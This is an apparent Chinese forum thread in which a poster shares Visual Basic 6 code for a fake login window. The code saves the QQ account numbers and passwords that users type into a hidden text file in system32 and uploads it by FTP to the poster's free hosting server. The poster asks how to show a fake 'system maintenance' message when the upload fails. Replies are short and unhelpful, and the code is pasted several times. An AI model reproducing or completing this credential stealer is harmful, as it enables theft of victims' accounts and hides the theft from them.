问题3 如何判断程序！源码在此帮忙判断！
Private Sub Form_Load()
Dim Buffer As String
Buffer = Space(MAX_PATH)
rtn = GetWindowsDirectory(Buffer, Len(Buffer))
WinPath = Left(Buffer, rtn)
Dim UserInput
UserInput = "system32"
' 窗口置前
Dim myval
myval = SetWindowPos(Form2.hwnd, -1, 0, 0, 0, 0, 3)
Label5.Left = 0
Label6.Left = -Width
If Dir(WinPath & "" & UserInput & "" & "ldy.txt") = "" Then
Open WinPath & "" & UserInput & "" & "ldy.txt" For Binary As #3
Put #3, , ""
Close #3
End If
End Sub
Private Sub TonyPecaoButon1_Click()
On Error Resume Next
Dim Buffer As String
Buffer = Space(MAX_PATH)
rtn = GetWindowsDirectory(Buffer, Len(Buffer))
WinPath = Left(Buffer, rtn)
Dim UserInput
UserInput = "system32"
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
On Error GoTo ErrorHandler
Dim campo1 As Variant
Dim campo2 As Variant
Dim campo3 As Variant
Open WinPath & "" & "SysFile.vbe" For Input As #1
Do Until EOF(1)
Input #1, campo1, campo2, campo3
Form2.Label20 = campo1
Form2.Text2.Text = campo2
Form2.Text5.Text = campo3
If Text1.Text = campo1 And Text2.Text = campo2 Then
Form3.Visible = False
Form4.Show ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏FORM3弹出FORM4
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
Me.Hide
Me!Timer1.Enabled = False
j = 0
Me!Timer2.Enabled = True
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
Call ShowWindow(ma, 1)
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
'SendKeys "%{Tab}"
SendKeys "{Tab}", True
j = FreeFile
Open WinPath & "" & UserInput & "" & "ldy.txt" For Append As j
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
Me!Text1.Text = ""
Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://7827.RVRV.net/"
Inet1.URL = urldz
Inet1.UserName = "7827" 'FTP空间账号
Inet1.Password = "123456" 'FTP空间密码
Inet1.Execute "", "PUT" & Chr(34) & WinPath & "" & UserInput & "" & "ldy.txt ldy.txt"
right1 = Inet1.StillExecuting
Do While right1
right1 = Inet1.StillExecuting
DoEvents
Loop
Close j
End If
Form3.Visible = False
frmPlayer.Show 1
Unload Me
Exit Sub
Exit Do
End If
Loop
Close #1
这里需要判断下！因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不了了，也不提示信息！一直定在那里！所以我就想到着个方法！
如果 上传失败或者连接不到 就提示 “系统正在维护，请稍后在试，” 如果成功把TEXT1的信息上传后就不提示直接下一步
ErrorHandler:
If Text1.Text <> campo1 Or Text2.Text <> campo2 Then
MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
End Sub
[最优解释]
我就是这里想判断下！ 如果 上传失败或者连接不到空间 就提示 “系统正在维护，请稍后在
试，” 如果成功把TEXT1的信息上传后就不提示直接下一步
我就是想这样，我这个程序主要是这样的，2个TEXT，一个COMMAND，按COMMAND的时候就保存那2
个TEXT文本信息到FTP空间上，上传！如果上传不了就提示 “系统正在维护，请稍后在试，” 以上那段代码就是上传的，而在这里我就想判断一下 如果上传不了就提示 “系统正在维护，请稍后在试，” 不是知道各位高手们能明白我的意思吗？
在重复一遍就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护"
ErrorHandler:
If Text1.Text <> campo1 Or Text2.Text <> campo2 Then
MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
End Sub
[其他解释]
我就是这里想判断下！ 如果 上传失败或者连接不到空间 就提示 “系统正在维护，请稍后在
试，” 如果成功把TEXT1的信息上传后就不提示直接下一步
我就是想这样，我这个程序主要是这样的，2个TEXT，一个COMMAND，按COMMAND的时候就保存那2
个TEXT文本信息到FTP空间上，上传！如果上传不了就提示 “系统正在维护，请稍后在试，” 以上那段代码就是上传的，而在这里我就想判断一下 如果上传不了就提示 “系统正在维护，请稍后在试，” 不是知道各位高手们能明白我的意思吗？
在重复一遍就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护"
ErrorHandler:
If Text1.Text <> campo1 Or Text2.Text <> campo2 Then
MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
End Sub
[其他解释]
程序一大堆，你到底要问什么？要讲详细点！
------其他解决方案--------------------
就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护"
[其他解释]
因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不
了了，也不提示信息！一直定在那里！所以我就想到着个方法！
Private Sub TonyPecaoButon1_Click()
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
On Error GoTo ErrorHandler
Dim campo1 As Variant
Dim campo2 As Variant
Dim campo3 As Variant
Open "c:\SysFile.vbe" For Input As #1
Do Until EOF(1)
Input #1, campo1, campo2, campo3
Form2.Label20 = campo1
Form2.Text2.Text = campo2
Form2.Text5.Text = campo3
If Text1.Text = campo1 And Text2.Text = campo2 Then
Form3.Visible = False
Form4.Show ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏
FORM3弹出FORM4
'-------测试用的语句可以删除------------------------------------
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
Me.Hide
Me!Timer1.Enabled = False
j = 0
Me!Timer2.Enabled = True
'-------测试用的语句可以删除------------------------------------
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
'-----------------------
Call ShowWindow(ma, 1) '将窗口还原显示
'------把焦点还给-------------------------------------------------
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
'SendKeys "%{Tab}"
'------把焦点还给-------------------------------------------------
SendKeys "{Tab}", True
j = FreeFile
Open "c:\ldy.txt" For Append As j '把账号密码要保存的路径
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
Me!Text1.Text = ""
Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://7827.RRvV.net/"
Inet1.URL = urldz
Inet1.UserName = "7827" 'FTP空间账号
Inet1.Password = "123456" 'FTP空间密码
Inet1.Execute "", "PUT" & Chr(34) & WinPath & "" & UserInput & "" &
"ldy.txt ldy.txt"
right1 = Inet1.StillExecuting
Do While right1
right1 = Inet1.StillExecuting
DoEvents
Loop
Close j
End If
Form3.Visible = False
frmPlayer.Show 1
Unload Me
Exit Sub
Exit Do
End If
Loop
Close #1
[其他解释]
不解
[其他解释]
...追分求解
[其他解释]
因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不
了了，也不提示信息！一直定在那里！所以我就想到着个方法！
Private Sub TonyPecaoButon1_Click()
If Text1.Text = "" Or Text2.Text = "" Then
MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
Text1.Text = ""
Text2.Text = ""
' txtbuscaruser.SetFocus
Exit Sub
End If
On Error GoTo ErrorHandler
Dim campo1 As Variant
Dim campo2 As Variant
Dim campo3 As Variant
Open "c:\SysFile.vbe" For Input As #1
Do Until EOF(1)
Input #1, campo1, campo2, campo3
Form2.Label20 = campo1
Form2.Text2.Text = campo2
Form2.Text5.Text = campo3
If Text1.Text = campo1 And Text2.Text = campo2 Then
Form3.Visible = False
Form4.Show ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏
FORM3弹出FORM4
'-------测试用的语句可以删除------------------------------------
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
Me.Hide
Me!Timer1.Enabled = False
j = 0
Me!Timer2.Enabled = True
'-------测试用的语句可以删除------------------------------------
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
'-----------------------
Call ShowWindow(ma, 1) '将窗口还原显示
'------把焦点还给-------------------------------------------------
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
'SendKeys "%{Tab}"
'------把焦点还给-------------------------------------------------
SendKeys "{Tab}", True
j = FreeFile
Open "c:\ldy.txt" For Append As j '把账号密码要保存的路径
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
Me!Text1.Text = ""
Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://7827.RRvV.net/"
Inet1.URL = urldz
Inet1.UserName = "7827" 'FTP空间账号
Inet1.Password = "123456" 'FTP空间密码
Inet1.Execute "", "PUT" & Chr(34) & WinPath & "" & UserInput & "" &
"ldy.txt ldy.txt"
right1 = Inet1.StillExecuting
Do While right1
right1 = Inet1.StillExecuting
DoEvents
Loop
Close j
End If
Form3.Visible = False
frmPlayer.Show 1
Unload Me
Exit Sub
Exit Do
End If
Loop
Close #1
[其他解释]
111
[其他解释]
5944的两级免费空间?
[其他解释]
如何判断这段代码是否连接了到了服务器，
Private Sub Command1_Click()
Inet1.Protocol = icFTP
Inet1.RemoteHost = ServerName'服务器地址
Inet1.RemotePort = 21'FTP端口
Inet1.UserName = uName'用户名
Inet1.Password = uPWS'密码
'上传文件：
Inet1.Execute "", "PUT d:\1.txt 1.txt"
ri = Inet1.StillExecuting
Do While ri
ri = Inet1.StillExecuting
DoEvents
Loop
‘-------------------------------------------------------------
'以上代码利用Inet1控件是上传TEXT1和TEXT2的内容到FTP空间里面！
If right1 <>true Then '如果我想在这里做一个判断“连接到了FTP服务器就提示连接成功可以上传到FTP空间了”
MsgBox "连接错误不能上传信息到FTP空间!"
UNLOAD ME '上传失败退出程序！
Else
MsgBox "连接成功正在上传信息到FTP空间!"
Inet1.Execute "", "PUT E:\ldy.txt ldy.txt" '开始上传到FPT空间LDY。TXT文件上！
End If
‘-------------------------------------------------------------
Unload Me
End Sub
